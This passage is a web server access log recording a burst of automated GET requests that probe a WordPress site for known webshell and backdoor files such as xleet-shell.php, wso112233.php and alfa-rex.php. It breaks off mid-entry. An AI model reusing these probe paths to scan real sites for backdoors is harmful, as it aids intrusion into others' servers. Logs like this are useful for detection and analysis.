[23/Apr/2025:03:24:35 -0400] "GET /wp-content/themes/thuoc-nam/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:36 -0400] "GET /wp-includes/css/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.85 - - [23/Apr/2025:03:24:36 -0400] "GET /wp-includes/Text/Diff/Engine/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:24:36 -0400] "GET /wp-admin/css/colors/blue/browser.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:36 -0400] "GET /wp-includes/xl2023.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.87 - - [23/Apr/2025:03:24:36 -0400] "GET /wp-content/themes/twentyfive/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:24:36 -0400] "GET /wp-includes/pomo/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:24:36 -0400] "GET /wp-content/themes/applica/400.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:36 -0400] "GET /wp-content/upgrade/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:36 -0400] "GET /wp-includes/css/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:24:36 -0400] "GET /wp-content/themes/wp-pridmag/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.85 - - [23/Apr/2025:03:24:36 -0400] "GET /wp-includes/sitemaps/providers/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:36 -0400] "GET /wp-includes/sitemaps/providers/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:24:36 -0400] "GET /wp-admin/includes/my1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:24:36 -0400] "GET /.well-known/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:36 -0400] "GET /wp-content/themes/pridmag/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.85 - - [23/Apr/2025:03:24:36 -0400] "GET /wp-includes/widgets/class-wp-widget-block.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:24:36 -0400] "GET /xleet-shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:36 -0400] "GET /wp-content/uploads/google-in.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:36 -0400] "GET /wp-content/themes/zakra/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:36 -0400] "GET /.well-known/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:24:36 -0400] "GET /wp-includes/css/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:36 -0400] "GET /wp-admin/xleet-shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:36 -0400] "GET /wp-content/uploads/simple-file-list/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:36 -0400] "GET /.well-known/profile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.85 - - [23/Apr/2025:03:24:36 -0400] "GET /wp-includes/css/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:36 -0400] "GET /wp-content/upgrade/120f9.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:36 -0400] "GET /wp-content/xleet-shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:36 -0400] "GET /admin/upload/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:24:37 -0400] "GET /.well-known/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:24:37 -0400] "GET /.well-known/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:24:37 -0400] "GET /wp-admin/css/colors/blue/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:24:37 -0400] "GET /wp-admin/css/colors/blue/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:37 -0400] "GET /wp-includes/xleet-shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:24:37 -0400] "GET /wp-admin/js/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:24:37 -0400] "GET /wp-includes/images/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.85 - - [23/Apr/2025:03:24:37 -0400] "GET /.well-known/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:37 -0400] "GET /wp-admin/wso112233.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:37 -0400] "GET /up/.well-known/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:37 -0400] "GET /wp-admin/maint/Ysuyo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.85 - - [23/Apr/2025:03:24:37 -0400] "GET /.well-known/profile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:37 -0400] "GET /wp-includes/ID3/connection.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:37 -0400] "GET /wp-content/wso112233.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:37 -0400] "GET /wp-content/plugins/apikey/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:37 -0400] "GET /wp-includes/css/dist/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:24:37 -0400] "GET /.well-known/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:37 -0400] "GET /wp-includes/js/plupload/connection.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:37 -0400] "GET /wp-content/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:37 -0400] "GET /wp-admin/shell20211028.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:24:37 -0400] "GET /wp-includes/css/dist/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:24:37 -0400] "GET /wp-admin/js/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:37 -0400] "GET /wp-includes/js/codemirror/asset.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:24:37 -0400] "GET /wp-content/plugins/seoplugins/db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:37 -0400] "GET /images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:37 -0400] "GET /wp-includes/css/dist/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.85 - - [23/Apr/2025:03:24:37 -0400] "GET /wp-admin/maint/Ysuyo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:24:38 -0400] "GET /wp-content/plugins/wordpress-three/miin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:38 -0400] "GET /wp-includes/langar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:38 -0400] "GET /css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:24:38 -0400] "GET /wp-content/uploads/2024/11/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:24:38 -0400] "GET /wp-includes/css/dist/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:38 -0400] "GET /wp-content/plugins/column/miin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:24:38 -0400] "GET /wp-admin/images/sgd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:38 -0400] "GET /wp-admin/css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:38 -0400] "GET /wp-content/uploads/2024/10/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.85 - - [23/Apr/2025:03:24:38 -0400] "GET /wp-includes/css/dist/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:38 -0400] "GET /wp-content/plugins/hellopress/wp_mna.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:24:38 -0400] "GET /wp-includes/IXR/class-IXR-base64-view.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:38 -0400] "GET /wp-includes/js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:38 -0400] "GET /wp-content/upgrade/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.85 - - [23/Apr/2025:03:24:38 -0400] "GET /wp-includes/css/dist/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:24:38 -0400] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:24:38 -0400] "GET /images/upload.form.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:24:38 -0400] "GET /wp-content/uploads/2024/11/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:24:38 -0400] "GET /wp-includes/SimplePie/XML/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:24:38 -0400] "GET /wp-admin/includes/cicak.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:38 -0400] "GET /wp-content/plugins/hellopress/0xlufix2023.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:38 -0400] "GET /wp-content/languages/en.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:24:38 -0400] "GET /wp-content/uploads/2024/10/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:38 -0400] "GET /wp-admin/includes/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:38 -0400] "GET /wp-content/uploads/wpr-addons/forms/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:39 -0400] "GET /wp-includes/js/codemirror/embed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:24:39 -0400] "GET /wp-content/upgrade/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:24:39 -0400] "GET /wp-confiig.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:39 -0400] "GET /wp-content/plugins/WordPressCore/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:39 -0400] "GET /wp-admin/maint/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:39 -0400] "GET /wp-includes/wp-log1n.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:24:39 -0400] "GET /wp-admin/includes/cicak.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:24:39 -0400] "GET /wp_wrong_datlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:24:39 -0400] "GET /wordpress/wp-admin/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:24:39 -0400] "GET /wp-admin/css/colors/blue/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:39 -0400] "GET /wp-admin/css/colors/ectoplasm/upfile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:24:39 -0400] "GET /loger.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.85 - - [23/Apr/2025:03:24:39 -0400] "GET /wp-admin/includes/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:39 -0400] "GET /wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:39 -0400] "GET /wp-admin/css/colors/coffee/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:24:39 -0400] "GET /wp-includes/pomo/core.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:24:39 -0400] "GET /wp-admin/maint/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:39 -0400] "GET /gank.php.PhP HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:24:39 -0400] "GET /wp-includes/IXR/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:24:39 -0400] "GET /wp-admin/css/colors/ectoplasm/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:24:39 -0400] "GET /files/modify_business.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:24:39 -0400] "GET /wp-admin/css/colors/blue/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:39 -0400] "GET /wikindex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:24:39 -0400] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:24:39 -0400] "GET /wp-admin/css/colors/light/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:40 -0400] "GET /wp-includes/Ioad.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.85 - - [23/Apr/2025:03:24:40 -0400] "GET /wp-admin/css/colors/coffee/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:40 -0400] "GET /wp.php?Chitoge HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:40 -0400] "GET /wp-admin/css/colors/midnight/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:24:40 -0400] "GET /wp-includes/Text/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:40 -0400] "GET /wp-includes/images/browser.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; 